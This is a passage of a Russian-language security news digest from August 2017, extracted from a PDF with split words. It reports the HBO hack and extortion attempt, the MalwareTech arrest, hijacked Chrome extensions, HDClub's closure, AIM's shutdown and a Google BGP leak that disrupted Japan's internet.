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ФИЛЬМ, ФИЛЬМ,
ФИЛЬМ
Сра зу  нес коль ко  инци ден тов  и  уте чек  дан ных  про изош ло  в  этом  месяце
с аме рикан ской кабель ной и спут никовой телесетью HBO.

В начале августа появи лась информа ция, что неиз вес тные хакеры похити‐ 
ли  у  HBO  1,5  Тбайт  дан ных,  при чем  прес тупни ки  сами  сооб щили  об  этом
избран ным жур налис там. В качес тве доказа тель ства взло ма зло умыш ленни ки
сли ли в Сеть еще не показан ные в эфи ре эпи зоды сери алов Ballers и Room
104. Так же хакеры опуб ликова ли тек сто вый матери ал, ока зав ший ся сце нари‐ 
ем чет верто го эпи зода седь мого сезона «Игры прес толов» (Game of Thrones),
который дол жен был вый ти в эфир 6 августа 2017 года.

Бы ло  не  сов сем  ясно,  какие  еще  дан ные  мог ли  ока зать ся  в  руках  зло‐ 
умыш ленни ков. Так же не сооб щалось, пытались ли взлом щики пред варитель‐ 
но шан тажиро вать руководс тво ком пании HBO или сра зу обра тились в СМИ.

Нес коль ко дней спус тя,  в  ночь с 4 на 5 августа,  в Сети был опуб ликован
и сам чет вертый эпи зод седь мого сезона «Игры прес толов». Копия была рас‐ 
простра нена через тор рент‐тре керы, а  так же сер висы Vidme и Google Drive.
Хотя  пред ста вите ли  HBO  ста рались  опе ратив но  бло киро вать  такие  ссыл ки,
серию все рав но мож но было доволь но лег ко най ти в интерне те.

Ко пия  эпи зода  пред назна чалась  для  внут ренне го  исполь зования.  Так,
видео весь ма низ кого качес тва было про мар кирова но пре дуп режде нием For
internal  viewing only  и  «водяны ми  зна ками» меди аком пании Star  India Pvt  Ltd.
Дан ная ком пания при над лежит 21st Century Fox и вла деет пра вами на тран‐ 
сля цию про дук ции HBO в Индии.

Офи циаль ные пред ста вите ли Star India под твер дили факт утеч ки и сооб щили,
что начато внут реннее рас сле дова ние слу чив шегося. Опи раясь на их сло ва,
СМИ пред положи ли, что утеч ка видео и пуб ликация сце нария могут ока зать ся
не свя заны меж ду собой, то есть речь может идти о двух не завися щих друг
от дру га взло мах.

Как  выяс нилось,  СМИ  были  совер шенно  пра вы.  Вось мого  августа  зло‐ 
умыш ленни ки, похитив шие у HBO 1,5 Тбайт дан ных, опуб ликова ли в сети сце‐ 
нарий  пятого  эпи зода  седь мого  сезона  «Игры  прес толов».  Так же  хакеры
обна родо вали и дру гие зак рытые докумен ты, свя зан ные с популяр ным сери‐ 
алом, вклю чая бриф, озаг лавлен ный Game of  Ideas, кон фиден циаль ный спи‐ 
сок акте ров нового сезона, а так же бумаги, про лива ющие свет на мар кетин‐ 
говую стра тегию  канала и пла ны съемок. По дан ным СМИ, ничего сен саци‐ 
онно го  и  нового  эти  докумен ты  не  содер жали  (если  не  счи тать  спой леров
к пятому эпи зоду).

На  этот  раз  неиз вес тная  груп пиров ка  при ложи ла  к  фай лам  нес коль ко
скрин шотов.  Так,  на  одном  из  них  мож но  уви деть  пап ки,  в  которых  содер‐ 
жатся  1,5  Тбайт  похищен ных  у HBO дан ных  (см.  изоб ражение  ниже).  Кро ме
того, Associated Press сооб щило, что в рас поряже нии зло умыш ленни ков ока‐ 
зались пись ма руково дите лей HBO, в час тнос ти вице‐пре зиден та Лес ли Коэн
(Leslie Cohen).

Кро ме того, новый дамп содер жал виде опись мо, написан ное от лица неко его
мис тера Сми та и адре сован ное Ричар ду Плеп леру (Richard Plepler), глав ному
исполни тель ному  дирек тору  HBO.  В  сво ем  пос лании  хакеры  пред ложили
прек ратить слив информа ции в обмен на «скром ное воз награж дение».

«HBO  пот ратила  12  мил лионов  дол ларов  на  мар кетин говые  иссле- 
дова ния и еще 5 мил лионов дол ларов на рек ламу GOT7. Прос то рас- 
смат ривай те нас как еще одну статью рас ходов на рек ламу, — пишет
мис тер Смит. — Как вам оста новить груп пу вро де нас, которая за год
пот ратила  400–500  тысяч  дол ларов  на  покуп ку  0day-экс пло итов?
Обыч но мы запус каем пару мас штаб ных опе раций в год, которые при- 
носят  нам  поряд ка  12–15 мил лионов  дол ларов.  <…> Вып латите  нам
наш гонорар за шесть месяцев в бит кой нах, и мы исчезнем из вашего
поля зре ния».

Та ким  обра зом,  лег ко  под счи тать,  что  зло умыш ленни ки  пот ребова ли
от  руководс тва  HBO  поряд ка  6,5–7  мил лионов  дол ларов.  В  пись ме  мис тер
Смит  отме чает,  что  хакеры  пот ратили  на  взлом  сети  HBO  более  полуго да
и  это  уже  сем надца тая  цель  груп пиров ки.  Сог ласно  заяв лению  зло умыш‐ 
ленни ков,  за  все  вре мя  им  отка зались  зап латить  лишь  три  ком пании,  две
из которых в ито ге обан кро тились.

Вско ре  жур налис ты  изда ний  Variety  и  The  Hollywood  Reporter  сооб щили,
что зло умыш ленни ки сно ва выш ли с ними на связь. На этот раз груп пиров ка
показа ла  СМИ  свою  перепис ку  с  офи циаль ными  пред ста вите лями  HBO,
датиро ван ную  кон цом  июля  2017  года,  то  есть  диалог  имел  мес то  еще  до
того, как об утеч ке ста ло извес тно широкой пуб лике.

В  тек сте  одно го  из  писем  пред ста вите ли  HBO  пред лагали
хакерам 250 тысяч дол ларов в рам ках прог раммы воз награж дений за най ден‐ 
ные  уяз вимос ти.  При  этом  ком пания  под черки вала,  что  bug  bounty  обыч но
вып лачива ют white  hat  спе циалис там и  в  дан ном слу чае HBO пыта ется  про‐ 
явить чес тность и доб ропоря доч ность в ведении перего воров.

Ос талось  неиз вес тным,  как  имен но  прес тупни ки  отре аги рова ли  на  это
пред ложение и была  ли  в  ито ге  совер шена  вып лата.  Так же оста ется  толь ко
догады вать ся,  на  самом  деле  руководс тво  телека нала  было  готово  пой ти
на сдел ку или пись мо было лишь улов кой. Впро чем, что шан тажис там пред‐ 
ложили день ги, само по себе уди витель но в любом слу чае. Зло умыш ленни ки
сооб щили прес се, что вели перего воры с HBO нес коль ко недель, но телека‐ 
нал  не  выпол нил  некие  «обе щания»,  что  и  пов лекло  за  собой  пуб ликацию
укра ден ных дан ных.

Но,  как  уже  было  ска зано,  утеч ка  чет верто го  эпи зода  седь мого  сезона
«Игры  прес толов»  ока залась  никак  не  свя зана  с  мис тером  Сми том.
14  августа  2017  года  в  Индии  были  задер жаны  четыре  челове ка,  которых
и подоз рева ют в сли ве это го эпи зода в Сеть. Об арес тах сооб щили мес тные
СМИ и телека нал New Delhi Television (NDTV), так же эту информа цию под твер‐ 
дило информа гентство Франс Пресс.

Офи циаль ные пред ста вите ли индий ской полиции говорят, что все задер‐ 
жанные были сот рудни ками ком пании Prime Focus Technologies, которая явля‐ 
ется пар тне ром Star  India и  занима ется под готов кой  кон тента для при ложе‐ 
ний.  На  офи циаль ном  сай те  ком пания  рек ламиру ет  себя  как  пос тавщи ка
услуг, которо го пред почита ет Netflix.

Сог ласно  заяв лени ям  полиции,  Star  India  и  Prime  Focus  Technologies,
отсле дить подоз рева емых уда лось бла года ря тому, что у каж дого слу жаще го
есть уни каль ный ID для дос тупа к кон тенту на сер верах Prime Focus. Так, опуб‐ 
ликован ный в сети эпи зод «Игры прес толов» зап рашивал сот рудник по име ни
Абхи шек Гха диял (Abhishek Ghadiyal), который отпра вил видео быв шему сот‐ 
рудни ку ком пании, Мохам меду Сухаи (Mohammed Suhai). Какую роль в утеч ке
дан ных сыг рали двое дру гих задер жанных, не сооб щалось.

За вер шени ем  этой  чер ной  для  HBO  полосы  ста ла  третья  утеч ка,  никак
не свя зан ная с обо ими опи сан ными инци ден тами. 16 августа 2017 года жур‐ 
налис ты изда ния Torrent Freak обна ружи ли, что в Сети опуб ликова на шес тая
серия  седь мого  сезона  «Игры  прес толов».  Сра зу  нес коль ко  качес твен ных
копий  эпи зода  со  ско ростью  лес ного  пожара  рас простра нились  по  тор‐ 
рент‐тре керам и стри мин говым сай там.

На  этот  раз  ответс твен ность  за  слив  лежала  на  самих  сот рудни ках HBO.
Как  ока залось,  утеч ка  новой  серии  про изош ла  по  вине  сот рудни ков  HBO
Nordic и HBO Espana. Эпи зод был слу чай но опуб ликован в онлай не рань ше
сро ка,  чем  не  пре мину ли  вос поль зовать ся  сра зу  нес коль ко  релиз‐групп,
залив серию на тор рент‐тре керы.

На пом ню,  что  HBO  не  пер вая  гол ливуд ская  ком пания,  став шая  жер твой
хакеров. Вес ной текуще го года от рук хак‐груп пы TheDarkOverlord уже пос тра‐ 
дали  , пос ле того как зло умыш ленни ки взло мали ком панию Lar‐
son  Studios,  занима ющуюся  пос лесъ емоч ной  обра бот кой  матери алов.  Так
как  в  ком пании  отка зались  иметь  дело  со  зло умыш ленни ками  и  пла тить  им
выкуп, на The Pirate Bay были опуб ликова ны еще не вышед шие в эфир десять
эпи зодов нового, пятого сезона сери ала «Оран жевый — хит сезона» (Orange
Is The New Black), а затем восемь эпи зодов еще не появ лявше гося на экра нах
телешоу Steve Harvey’s Funderdome.

Netflix и ABC

КАЖ ДОЕ ПЯТОЕ IOT‐УСТРОЙ СТВО В РОС СИИ УЯЗ ВИМО
Спе циалис ты  ком пании  Avast  пред ста вили  резуль таты  сво его  пос ледне го  иссле дова ния
интеллек туаль ных устрой ств в Рос сии. Как выяс нилось, ситу ация с интерне том вещей в Рос сии
ничуть не луч ше, чем в осталь ном мире.

 
 

   

→  IoT‐устрой ств в Рос сии уяз вимы для кибера так, что соз дает угро зу для безопас ности
людей и их лич ных дан ных.

23,7%
 устрой ств могут быть взло маны зло умыш ленни ками с целью

шпи онить за поль зовате лями и их деть ми, так как сре ди уяз вимых девай сов мно го веб‐камер
и виде онянь.

2 из 5

 веб‐камер и виде онянь уяз вимы с точ ки зре ния безопас ности.41%  прин‐ 
теров так же небезо пас ны. Но хуже все го дела обсто ят с роуте рами.   дан ных устрой ств
в Рос сии под верже ны рис ку кибера так.

26,9%
69,2%

НЕПРИЯТНОСТИ
MALWARETECH
В мае 2017 года, во вре мя эпи демии шиф роваль щика WannaCry, нас тоящим
«геро ем дня» стал ИБ‐спе циалист, извес тный под псев донимом MalwareTech.
Тог да имен но он    в  коде вре доно са ава рий ный  «стоп‐кран»: ока‐ 
залось, что перед началом работы мал варь обра щает ся к домену  iuqerfsod‐
p9ifjaposdfjhgosurijfaewrwergwea.com,  про веряя,  сущес тву ет  ли  он.  Если
домен  не  зарегис три рован,  мал варь  начина ет  шиф ровать  фай лы.  Одна ко
если домен есть, вымога тель оста нав лива ет про цесс зараже ния.

об наружил

Тог да MalwareTech  зарегис три ровал  этот  домен,  акти виро вав  тем  самым
механизм «ава рий ного отклю чения», и количес тво успешных зараже ний Wan‐
naCry рез ко сни зилось.

Пос ле  это го  СМИ  про яви ли  к  иссле дова телю  огромный  инте рес.  Так
как  он  дей ство вал  под  псев донимом,  всем  хотелось  узнать,  кто  он  такой
на  самом  деле.  В  ито ге  прес са  сумела  деано ними зиро вать  MalwareTech
и выяс нила, что под этим ником скры вает ся 22‐лет ний бри танец Мар кус Хат‐ 
чинс (Marcus Hutchins). И хотя MalwareTech был не в вос торге от такого прис‐ 
таль ного  вни мания,  к  деано ними зации  и  рас кры тию  нас тояще го  име ни  он
в ито ге отнесся впол не спо кой но.

Но  теперь  у  «героя  интерне та»  боль шие  проб лемы.  3  августа  2017  года
ста ло  извес тно,  что  Хат чинс  был  задер жан  влас тями  США  пос ле  визита
на кон ферен ции Black Hat и DEF CON, про ходив шие в Лас‐Вегасе. Пред ста‐ 
вите ли  бри тан ско го  наци ональ ного  Цен тра  кибер безопас ности  сооб щили,
что они в кур се событий, одна ко не соч ли нуж ным вме шивать ся, так как «это
дело пра воох ранитель ных орга нов».

Чуть  поз же  прес се  уда лось  дос тать  копию  обви нитель ного  акта,
и документ про лил свет на про исхо дящее. Ока залось, что Мар куса Хат чинса
обви няют в соз дании и рас простра нении бан ков ско го тро яна Kronos в 2014–
2015 годах. В докумен тах фигури рует не толь ко MalwareTech, но и еще один
подоз рева емый, чье имя не рас кры вает ся. Сооб щает ся, что они рек ламиро‐ 
вали и про дава ли свой бан кер на под поль ных форумах и тор говых пло щад ках,
вклю чая зак рытый недав но дар кнет‐мар кет AlphaBay. Напом ню, что в те годы
пожиз ненная  лицен зия  на  Kronos  сто ила  7  тысяч  дол ларов,  а  неделя  проб‐ 
ного тес тирова ния обхо дилась в тысячу дол ларов.

Эта новость ста ла нас тоящим шоком для все го мирово го ИБ‐сооб щес тва.
Кол леги MalwareTech  сра зу  пред положи ли,  что  пра воох ранитель ные  орга ны
«серь езно обла жались»: не мог иссле дова тель занимать ся про дажей и раз‐ 
работ кой  бан кера,  ведь  он  мно го  лет  борет ся  имен но  с  такими  угро зами.
Судя по сооб щени ям в твит тере спе циалис та, он дей стви тель но мог изу чать
тро ян Kronos в то вре мя.

Бо лее того, MalwareTech мог писать неч то вре донос ное в иссле дова тель ских
целях. К при меру, в 2014 году, еще до появ ления Kronos, Хат чинс, уже тог да
работав ший  анти вирус ным  ана лити ком,  опуб ликовал    в  сво ем  бло ге,
озаг лавлен ный  «Пишем мал варь  для  раз вле чения,  а  не  для  получе ния  при‐ 
были (потому что это было бы незакон но)». В статье иссле дова тель под робно
опи сывал  про цесс  соз дания  бут кита  для  Windows  XP,  при чем  нарочи то
безопас ного.

пост

«Преж де чем вы бро ситесь зво нить вашему дру желюб ному соседу —
аген ту ФБР,  я  хотел бы  кое‑что про яснить, — писал MalwareTech. —
Дан ный  бут кит  написан  как  proof-of-concept,  исполь зовать  его
в  качес тве  ору жия  будет  край не  труд но,  и  опас ной  вер сии,  которая
может попасть в руки прес тупни ков, не сущес тву ет».

Поз же,  в  2015  году,  ког да  «на  рын ке»  уже  появил ся  бан кер Kronos,  Хат чинс
с  удив лени ем  обна ружил,  что  авто ры  мал вари  исполь зовали  его  код  (не
из упо мяну того выше пос та), о чем спе циалист сооб щил в твит тере.

4  августа  2017  года  Хат чинс  пред стал  перед  судом,  где  сооб щил,  что
не приз нает сво ей вины по всем предъ явленным обви нени ям. Суд сог ласил‐ 
ся отпустить спе циалис та, не име юще го кри миналь ного прош лого, под залог
в  раз мере  30  тысяч  дол ларов.  Хотя  друзья  и  родс твен ники  MalwareTech,
которых под держа ли ИБ‐спе циалис ты со все го мира, без тру да смог ли соб‐ 
рать нуж ную сум му,  заседа ние окон чилось в 15:30,  и  внес ти  залог до окон‐ 
чания работы суда  (16:00) юрис ты поп росту не  успе ли. В ито ге MalwareTech
приш лось  про вес ти  все  выход ные  в  камере  и  вый ти  на  волю  лишь
в понедель ник, пос ле вне сения залога.

Пос ле  осво бож дения  Хат чинсу  зап ретили  поль зовать ся  интерне том
и уста нав ливать связь со сво им неиз вес тным «сооб щни ком». Так же Malware‐
Tech,  разуме ется,  не  может  покинуть  США  до  завер шения  судеб ных  раз‐ 
биратель ств и обя зан носить спе циаль ный GPS‐маячок.

Ад вокат Хат чинса Адри ан Лобо (Adrian Lobo) рас ска зала прес се, что сто‐ 
рона обви нения пыталась нас таивать на отка зе в выходе под залог на осно‐ 
вании того, что недав но Хат чинс посещал тир, где без над лежащей лицен зии
стре лял из ору жия. Адво кат наз вала эти сло ва про куро ра «бре дом».

Ин терес но,  что  сто рона  обви нения  так же  заяв ляет,  буд то  во  вре мя  доп‐ 
росов, еще без адво ката, Хат чинс приз нался в том, что занимал ся раз работ‐ 
кой мал вари, но адво кат опро вер гает эти заяв ления и уве ряет, что ее кли ент
не име ет к тро яну Kronos никако го отно шения.

Пер вое  заседа ние  по  делу  Хат чинса  сос тоялось  14  августа  2017  года.
На суде иссле дова тель вновь заявил о сво ей невинов ности по всем пун ктам
обви нения.  Уже  пос ле  слу шания  офи циаль ный  пред ста витель  защиты  Mal‐
wareTech Мар сия  Хоф ман  (Marcia  Hofman)  сооб щила  прес се,  что  ее  кли ент
намерен  и  «далее  решитель но  защищать  себя  перед  лицом  всех  предъ‐ 
явленных обви нений, а ког да будут обна родо ваны ули ки, мы уве рены, что он
будет пол ностью оправдан».

Сле дующее  заседа ние  суда  наз начено  на  октябрь  текуще го  года.  Так
как про курор счел, что Хат чинс более не пред став ляет опас ности, спе циалис‐ 
ту сно ва раз решили поль зовать ся интерне том, а так же поз волили переб рать‐ 
ся в Лос‐Андже лес, где рас положен офис ком пании Kryptos Logic, в которой
он  работа ет.  Тем  не  менее  до  окон чания  судеб ных  раз биратель ств  спе‐ 
циалист  все  рав но  не  может  покинуть  стра ну  и  по‐преж нему  будет  носить
GPS‐тре кер.

Спус тя  нес коль ко  часов пос ле появ ления  этой новос ти MalwareTech  вер‐ 
нулся в онлайн и даже пошутил в твит тере о собс твен ном арес те. Хат чинс уже
пообе щал пос вятить слу чив шемуся отдель ный пост в бло ге, но вмес те с этим
он отме чает, что пока ему нель зя говорить и писать о мно гих вещах.

В  нас тоящий  момент  положе ние  у  MalwareTech  незавид ное.  Хотя  семья,
друзья и сочувс тву ющие чле ны ИБ‐сооб щес тва со все го мира без тру да соб‐ 
рали средс тва на упла ту залога и пер вичные юри дичес кие издер жки, теперь
спе циалист зас трял в чужой стра не без денег, жилья, раз решения на работу,
в ско ром будущем ему пред сто ит судеб ная  тяж ба. Неуди витель но,  что сбор
средств было решено про дол жить.

Но  и  здесь  все  прош ло  не  так  глад ко,  как  хотелось  бы.  Один  из  защит‐ 
ников  Хат чинса,  адво кат  Тор  Эке ланн  (Tor  Ekeland),  неког да  защищав ший
Эндрю  Ауэр нхай мера  (Andrew  Auernheimer),  так же  извес тно го  под  ником
Weev, рас ска зал жур налис там, что со сбо ром пожер тво ваний воз никли проб‐ 
лемы.

По  дан ным  юрис та,  неиз вес тные  лица  пытались  перечис лить  на  защиту
иссле дова теля  как  минимум  150  тысяч  дол ларов  с  похищен ных  бан ков ских
карт.  Хотя  боль шинс тво  этих  тран закций  были  откло нены  про цес синго выми
ком пани ями, от 5 до 10 тысяч дол ларов все же доб рались до адре сата. Эке‐ 
ланн  заверил,  что  средс тва  уже  воз вра щены  их  нас тоящим  вла дель цам,
и  под чер кнул,  что  подоб ные  рис ки  неп рием лемы,  а  MalwareTech  сей час
находит ся не в том положе нии.

В ито ге коман да защит ников Хат чинса выб рала новый инс тру мент для кра‐ 
удфандин га.  Адво каты  спе циалис та  рас ска зали,  что  они  две  с  полови ной
недели  тес тирова ли  пло щад ку  для  сбо ра  средств  CrowdJustice.  Защит ники
приз нают ся,  что  свя зались  с  раз работ чиками  ресур са  и  начали  беседу
со слов «Прос тите, но нам понадо бит ся про вес ти у вас пен тестинг». И лишь
ког да юрис ты убе дились, что все в поряд ке, на CrowdJustice стар товал сбор
средств, которые будут нап равле ны на опла ту услуг защит ников Хат чинса.

В  заяв лении  на  кра удфандин говой  пло щад ке  под черки вает ся,  что  все
выручен ные день ги пой дут исклю читель но на гонора ры юрис тов, а не на про‐ 
жива ние MalwareTech в чужой стра не.

 →  уве личил ся рынок вымога тель ско го ПО в дар кне те. Ана лити ки ком пании Carbon
Black  под счи тали,  что  с  2016  по  2017  год  рынок  вымога тель ско го  ПО  в  дар кне те  вырос
с 249 287 дол ларов в 2016 году до 6 237 248 дол ларов, в пол ном соот ветс твии с прог нозами
ана лити ков. В сред нем вымога тель скую мал варь про дают за 10,50 дол лара, хотя в целом цены
варь иру ются от 0,50 до 3000 дол ларов. По сло вам спе циалис тов, под поль ная эко номи ка ран‐ 
сомва ри все боль ше походит на раз работ ку обыч ного, ком мерчес кого ПО. Теперь здесь тоже
уде ляют вни мание кон тро лю качес тва и  час то даже име ют собс твен ную тех ничес кую под дер‐ 
жку.  Иссле дова тели  прог нозиру ют,  что  в  будущем  авто ры  вымога тель ско го  ПО  ста нут  чаще
объ еди нять ся друг с дру гом для раз работ ки и под держа ния новых про дук тов.
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РАСШИРЕНИЯ В
ОПАСНОСТИ
В начале августа 2017  года неиз вес тные зло умыш ленни ки сумели ском про‐ 
мети ровать  раз работ чиков  сра зу  двух  рас ширений  для  бра узе ра  Chrome:
Copyfish и Web Developer.

В обо их слу чаях ата кующие исполь зовали соци аль ную инже нерию и прис‐ 
лали раз работ чикам очень убе дитель ные фишин говые пись ма, яко бы от лица
сот рудни ков  Google  Chrome.  Пос ле  того  как  жер твы  вво дили  свои  учет ные
дан ные  на  сай те  зло умыш ленни ков,  те  исполь зовали  получен ную  информа‐ 
цию  для  перех вата  кон тро ля  над  рас ширени ями  и  выпус кали  вре донос ные
обновле ния про дук тов, которые внед ряли рек ламу в прос матри ваемые поль‐ 
зовате лями стра ницы.

Как ока залось, взлом двух рас ширений под ряд был далеко не слу чай ностью.
Жур налис ты ресур са Bleeping Computer выяс нили, что эта вре донос ная кам‐ 
пания длит ся уже более двух месяцев, прос то до недав него вре мени мошен‐ 
никам уда валось оста вать ся незаме чен ными. Фишеры раз за разом выда ют
себя  за  пред ста вите лей  Google  и  при сыла ют  раз работ чикам  пись ма,
в  которых  сооб щают,  что  рас ширение  наруша ет  пра вила Chrome Web Store
и  дол жно быть  обновле но.  Ког да жер тва  перехо дит  на  сайт  зло умыш ленни‐ 
ков, ее про сят вой ти в акка унт раз работ чика Google, а сайт пол ностью ими‐ 
тиру ет нас тоящую стра ницу логина.

К  при меру,  OinkAndStuff,  раз работ чик  двух  популяр ных  рас ширений  Blue
Messenger (80 тысяч поль зовате лей) и Websta  for  Instagram (100 тысяч поль‐ 
зовате лей),  рас ска зал  жур налис там,  что  впер вые  он  получил  такое  фишин‐ 
говое пос лание еще 21 июня 2017 года.

Во всех трех слу чаях (Copyfish, Web Developer и OinkAndStuff) пись ма были
отправ лены  с  домена  Freshdesk,  а  текст  пос ланий  был  иден тичен. OinkAnd‐
Stuff  попытал ся  соб рать  о  фишерах  боль ше  дан ных,  но  его  рас сле дова ние
при вело лишь к або нент ско му ящи ку в Панаме, пос ле чего спе циалист сооб‐ 
щил о подоз ритель ной активнос ти инже нерам Google, и ком пания заб локиро‐ 
вала фишин говый сайт пос редс твом Safe Browsing API.

Од нако  мошен ники  не  прек ратили  свою  деятель ность.  По  сло вам  Oink‐
AndStuff,  он  получал  фишин говые  пись ма  еще  дваж ды,  в  начале  и  в  кон це
июля 2017  года. Во вто ром слу чае  зло умыш ленни ки пытались исполь зовать
сер вис для сок ращения URL bit.ly, что сра зу же их выдава ло.

В  ито ге  иссле дова тель  еще  дваж ды  сооб щал  сот рудни кам  Google
о мошен никах, и те вно сили домены в чер ные спис ки, одна ко не похоже, что‐ 
бы это силь но мешало ата кующим: они прос то про дол жили менять домены.

Пос ле про изо шед шего с Copyfish и Web Developer пред ста вите ли Google
разос лали  раз работ чикам  рас ширений  для Chrome  пись ма  с  пре дуп режде‐ 
нием  об  активнос ти  фишеров  (см.  скрин шот  ниже).  В  пос лани ях  инже неры
Google напоми нают о прос тей ших пра вилах безопас ности, рекомен дуют про‐ 
верять  домены  и  email‐адре са,  а  так же  совету ют  исполь зовать  двух фактор‐ 
ную аутен тифика цию.

Свет  на  мас шта бы  про исхо дяще го  в  середи не  месяца  про лил  спе циалист
ком пании Proofpoint,  извес тный  под  псев донимом Kafeine. Он  сооб щил,  что
были  ском про мети рова ны  еще  шесть  популяр ных  рас ширений:  Chrometana
1.3,  Infinity New Tab 12.3, Web Paint 2.1, Social Fixer 1.1, TouchVPN и Betternet
VPN. Спе циалист под счи тал, что через взлом чужих рас ширений хакеры сум‐ 
марно ском про мети рова ли уже поч ти 5 мил лионов поль зовате лей.

Изу чив  исходный  код  одно го  из  «обновлен ных»  зло умыш ленни ками  про‐ 
дук тов, иссле дова тель разоб рался, что имен но дела ют вре донос ные вер сии
рас ширений.  Пос ле  обновле ния  рас ширение  заг ружа ет  файл  JavaScript
с  домена,  сге нери рован ного  при помощи DGA,  и  собира ет  учет ные дан ные
Cloudflare  из  бра узе ра  пос тра дав шего.  Затем  рас ширение  начина ет  под‐ 
менять легитим ную рек ламу на объ явле ния зло умыш ленни ков.

Боль ше  все го  подоб ных  замен  про исхо дит  на  сай тах  для  взрос лых,
при  этом  рас ширение  под меня ет  бан неры  33  наибо лее  рас простра нен ных
раз меров (468 ✕ 60, 728 ✕ 90 и так далее). Кро ме того, адварь может показы‐ 
вать  поль зовате лям  раз личные  всплы вающие  окна  и  перенап равлять  их
на дру гие ресур сы, которые явля ются частью «пар тнерских прог рамм» прес‐ 
тупни ков. Такой тра фик тоже при носит при быль ата кующим.

Так же  Kafeine  полага ет,  что  неиз вес тные  опе рато ры  дан ной  кам пании
активны  как  минимум  с  июня  2016  года.  Дело  в  том,  что  спе циалист  сумел
про вес ти парал лели и заметил сходс тво в инфраструк туре меж ду недав ними
ата ками  и  вре донос ными  рас ширени ями  для  Chrome,  обна ружен ными
в  2016  году.  Иссле дова тель  счи тает,  что  зло умыш ленни ки  прек расно  под‐ 
готов лены  и  не  понас лышке  зна ют  и  о  раз работ ке  рас ширений,  и  о  том,
как работа ет Chrome Web Store. По мне нию экспер та,  нес мотря на огласку,
груп па вряд ли в ско ром вре мени прек ратит ата ки.

 → «Поз воляя опе рато рам ран сомва ри про давать ее на форуме, мы копа ем могилу сами себе.

Конеч но, бан на форумах не прек ратит такой биз нес, но све дет его к миниму му, и мы можем

исполь зовать неодоб рение сооб щес тва, что бы даже вой ти в этот биз нес ста ло слож но»,

.— неназ ванный поль зователь андегра ундно го хакер ско го ресур са
Как выяс нили ана лити ки ком паний Anomali и Flashpoint, адми нис тра торы подоб ных сай тов

счи тают,  что  рас простра нение  вымога тель ско го  ПО  лишь  вре дит  «биз несу»  и  прив лека ет

ненуж ное вни мание к их плат формам.

HDCLUB ВСЕ
30 августа 2017 года о зак рытии объ явил сайт HDClub, один из ведущих пос‐ 
тавщи ков  «пират ско го»  HD‐  и  3D‐кон тента  в  рунете  и  не  толь ко:  имен но
релизы HDClub зачас тую рас простра нялись на The Pirate Bay и дру гих круп ных
тре керах.  Про рабо тав ший  боль ше  десяти  лет  сайт  нас читывал  поряд‐ 
ка 170  тысяч активных поль зовате лей и  вхо дил  в  тысячу  самых посеща емых
ресур сов рунета.

Не делю до  это го ресурс фак тичес ки  не работал,  а  затем на его  глав ной
стра нице появи лось сооб щение сле дующе го содер жания:

«Ува жаемые  поль зовате ли!  В  пос леднее  вре мя  мы  еже недель но
получа ем  нес коль ко  десят ков  жалоб  от  пра вооб ладате лей,  а  наше
сооб щес тво  под верга ется  ата кам  и  шпи она жу.  Парал лель но  идет
ужес точение интернет‑законо датель ства в Рос сии, Укра ине и стра нах
Евро союза. И наконец, вре мя энту зиас тов без воз врат но ухо дит.

В сло жив шихся обсто ятель ствах мы более не можем под держи вать
работу клу ба в изна чаль но задуман ном фор мате. Про ект зак рыва ется,
а  мы  про сим  вас  воз держать ся  от  гром ких  про водов.  Всем  спа сибо
и про щай те!

P. S. Идут перего воры по сох ранению нас ледия клу ба».

Ад минис тра ция  не  уточ няет,  в  каком  виде  пла ниру ется  сох ранять  нас ледие
HDClub, а так же не объ ясня ет, что под разуме вает ся под «ата ками и шпи она‐ 
жем»,  мож но  лишь  пред полагать,  что  речь  идет  о  DDoS‐ата ках  и  попыт ках
треть их сто рон внед рить ся в зак рытое сооб щес тво ресур са.

 →  ком пания AOL прек ратит сущес тво вание мес сен дже ра AIM. Ком пания AOL объ‐ 

яви ла, что 15 декаб ря 2017 года окон чатель но завер шит свою работу один из ста рей ших мес‐ 

сен дже ров — AOL Instant Messenger (AIM), запущен ный еще в далеком 1997 году. В офи циаль‐ 

ном  заяв лении  ска зано,  что  лан дшафт  интерне та  изме нил ся  слиш ком  силь но  и  в  наши  дни

поль зовате ли пред почита ют сов сем дру гие средс тва ком муника ции, AIM им боль ше не нужен.

Основные  кон курен ты  AIM  2000‐х  годов,  Yahoo!  Messenger  и  MSN  Messenger,  прек ратили

сущес тво вание нес коль ко лет назад. Сам AIM перес тал работать в сто рон них кли ентах еще вес‐ 

ной текуще го  года, и дав но было ясно, что окон чатель ная  «смерть» мес сен дже ра — это лишь

воп рос вре мени.
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GOOGLE СЛОМАЛА
ИНТЕРНЕТ В ЯПОНИИ
25 августа 2017 года интернет в Япо нии работал со зна читель ными перебо‐ 
ями  с  12:22  до  13:01  по мес тно му  вре мени. Виной  тому  ста ла  ошиб ка  сот‐ 
рудни ков Google.

Проб лема  зак лючалась  в  про токо ле  динами чес кой  мар шру тиза ции  BGP
и  ошиб ке  в  его  исполь зовании.  На  текущий  момент  BGP  слу жит  основным
про токо лом  динами чес кой  мар шру тиза ции  в  интерне те.  Он  пред назна чен
для обме на информа цией о дос тижимос ти под сетей меж ду так называ емы ми
авто ном ными сис темами  (АС, англ. AS — autonomous system),  то есть  груп‐ 
пами  мар шру тиза торов  под  еди ным  тех ничес ким  и  адми нис тра тив ным
управле нием.

Спе циалис ты  Google  (ком пании  при над лежит  собс твен ный  AS‐номер)
допус тили ошиб ку,  невер но анон сировав бло ки  IP‐адре сов,  при над лежащих
япон ским  про вай дерам.  В  резуль тате  дру гие  про вай деры,  вклю чая  таких
гиган тов, как Verizon, ста ли нап равлять тра фик, пред назна чен ный для Япо нии,
на сер веры Google, которые к это му не готовы.

В  резуль тате  в  Япо нии  ока зались  прак тичес ки  недос тупны  мно гие  сер‐ 
висы,  в  том  чис ле  пра витель ствен ные  и  бан ков ские  пор талы,  сис темы  бро‐ 
ниро ваний  и  так  далее.  Более  того,  поль зовате ли  извне  не  мог ли  под клю‐ 
чить ся к сер висам Nintendo, а так же ряду тор говых пло щадок, рас положен ных
внут ри стра ны.

Хо тя  проб лему  устра нили  в  течение  часа,  слу чив шееся  успе ло  посе ять
панику сре ди япон ских поль зовате лей. Мес тные СМИ сооб щили, что рас сле‐ 
дова нием  инци ден та  уже  занима ется  Минис терс тво  внут ренних  дел  и  ком‐ 
муника ций Япо нии.

По дан ным ресур са BGPMon  (ком пания  при над лежит OpenDNS и Cisco),
спе циалис ты  Google  напор тачили  с  тра фиком  круп ного  про вай дера  NTT
Communications  Corp.,  который  так же  под держи вает  двух  про вай деров
